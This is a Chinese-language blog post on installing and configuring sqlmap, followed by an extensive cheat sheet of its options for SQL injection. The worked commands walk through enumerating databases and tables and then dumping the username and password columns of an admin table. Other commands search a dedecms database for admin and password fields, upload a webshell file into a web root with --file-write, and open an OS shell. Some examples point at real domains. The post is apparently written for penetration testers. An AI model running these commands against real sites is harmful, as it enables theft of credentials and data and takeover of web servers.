标签:
本文介绍一下Sqlmap的安装跟配置环境变量。
顺便附上一些常用的命令
SQLMAP-64位、Python
下载链接:http://pan.baidu.com/s/1c0D82fm
密码:d7ec
Python的安装一路默认就好,然后把Sqlmap解压。
这里以我电脑为例,进到sqlmap目录里,复制路径。(不要有中文字符存在)
然后右键我的电脑,属性,选择高级系统设置
选环境变量
在系统变量里找到Path。然后编辑,在最前方输入我们刚才复制的路径,然后后面加一个英文的分号——“;”
然后 保存
打开CMD,输入“sqlmap.py” 就可以看见sqlmap的一些参数说明了
-u 指定url ——例如目标为http://xxx.xx/x.asp?id=1 那么就在控制台输入sqlmap.py -u "http://xxx.xx/x.asp?id=1"
-p 指定测试参数
-b 获取banner——例如目标为http://xxx.xx/x.asp?id=1 那么就在控制台输入sqlmap.py -u "http://xxx.xx/x.asp?id=1" -b
–dbs 列举数据库——例如目标为http://xxx.xx/x.asp?id=1 那么就在控制台输入sqlmap.py -u "http://xxx.xx/x.asp?id=1" --dbs
–is-dba 是否是管理员权限
–current-db 当前数据库
–current-user 当前用户
–tables 列举数据库的表名——例如目标为http://xxx.xx/x.asp?id=1 那么就在控制台输入sqlmap.py -u "http://xxx.xx/x.asp?id=1" --tables
–count 检索所有条目数
–columns 获取表的列名
–dump 获取表中的数据,包含列
–dump-all 转存DBMS数据库所有表项目
–level 测试等级(1-5),默认为1
-v 显示详细信息
读取数据库—>读取表—->读取表的列—->获取内容
-D 指定数据库
-T 指定表
-C 指定列
=======================================
-b 获取banner
-p 指定测试参数
-g 从google中获取URL , -g “inurl:aspx?id=”
–gpage=GOOGLEPAGE 指定Google页码
–union-check 是否支持union 注入
–union-cols union 查询表记录
–union-test union 语句测试
–union-use 采用union 注入
–proxy 代理注入
—threads 采用多线程
–user-agent 自定义user-agent
–referer=REFERER HTTP referer头
–proxy=PROXY 使用代理
–string 指定关键词
–tor 创建tor的匿名网络
–predict-output 常见的查询输出预测
–keep-alive 使用持久HTTP(S)连接
–eval=EVALCODE 所使用HTTP参数污染
-a,-all 查询所有
–hostname 主机名
–is-dba 是否是管理员权限
–users 枚举所有用户
–passwords 枚举所有用户密码
–roles 枚举所有用户角色
–schema 枚举DBMS模式
–count 检索所有条目数
–dump 转存DBMS数据库表项目,需要制定字段名称(列名称)
–dump-all 转存DBMS数据库所有表项目
–search 搜索列,表或数据库名称
–exclude-sysdbs 在枚举表时排除系统数据库
–sql-query=query 执行SQL语句
–file-read=RFILE 读取操作
–file-write=WFILE 写入操作
–file-dest=DFILE 绝对路径写入
–reg-read 阅读一个Windows注册表项值
–reg-add 增加一个Windows注册表项值数据
–reg-del 删除一个Windows注册表项值数据
–reg-key=REGKEY Windows注册表键
–reg-value=REGVAL Windows注册表键值
— reg-data=REGDATA Windows注册表的键值项数据
–reg-type=REGTYPE Windows注册表键的值类型
–csv-del=CSVDEL 划定CSV输出中使用的字符 (default “,”)
–dump-format=DUMP 转存数据格式(CSV (default), HTML or SQLITE)
–hex 使用十六进制数据检索功能
–output-dir=ODIR 自定义输出的目录路径
–update 更新SQLMap
–purge-output 安全的删除所有内容输出目录
–check-waf 启发式检查WAF / IPS / IDS保护
–os-pwn 反弹shell
–cookie=COOKIE 指定HTTP Cookie ,预登陆
–random-agent 使用随机选定的User-Agent头
–tamper=TAMPER 使用SQLMap插件
–level 测试等级(1-5),默认为1
参照官方文档:https://github.com/sqlmapproject/sqlmap/wiki/Usage。
附赠两篇乌云上的文章:
http://drops.wooyun.org/tips/143
http://zone.wooyun.org/content/14496
友情提示:
1、按键盘↑键可以查看上一条命令
2、建议准备一个有道翻译
sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了。
今天把我一直以来整理的sqlmap笔记发布上来供大家参考。
sqlmap支持五种不同的注入模式:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
sqlmap -u “http://www.vuln.cn/post.php?id=1″
默认使用level1检测全部数据库类型
sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3
指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)
当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,
当注入错误的时候,先报错再跳转的时候,不需要跟随302。
目的就是:要追踪到错误信息。
当程序有防get注入的时候,可以使用cookie注入
sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11″ –level 2(只有level达到2才会检测cookie)
可以使用burpsuite或者temperdata等工具来抓取post包
sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数
sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 –dbs
查询有哪些数据库
sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test –tables
查询test数据库中有哪些表
sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test -T admin –columns
查询test数据库中admin表有哪些字段
sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test -T admin -C “username,password” –dump
dump出字段username与password中的数据
其他命令参考下面
sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password
在dedecms数据库中搜索字段admin或者password。
首先找需要网站的物理路径,其次需要有可写或可读权限。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
#示例:
sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”
使用shell命令:
sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
接下来指定网站可写目录:
“E:\php\htdocs\dvwa”
#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)
——————————————————————————————————
以下至少需要设置其中一个选项,设置目标URL。
这些选项可以用来指定如何连接到目标URL。
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行
您自己的SQL语句。
这些选项可用于优化SqlMap的性能。
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。
这些选项可用于调整具体的SQL注入测试。
这些选项可以被用来运行蛮力检查。
User-defined function injection(用户自定义函数注入):
这些选项可以用来创建用户自定义函数。
–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径
这些选项可以被用来访问后端数据库管理系统的底层文件系统。
这些选项可以用于访问后端数据库管理系统的底层操作系统。
这些选项可以被用来访问后端数据库管理系统Windows注册表。
这些选项可以用来设置一些一般的工作参数。
标签:
原文地址:http://www.cnblogs.com/flish/p/5504373.html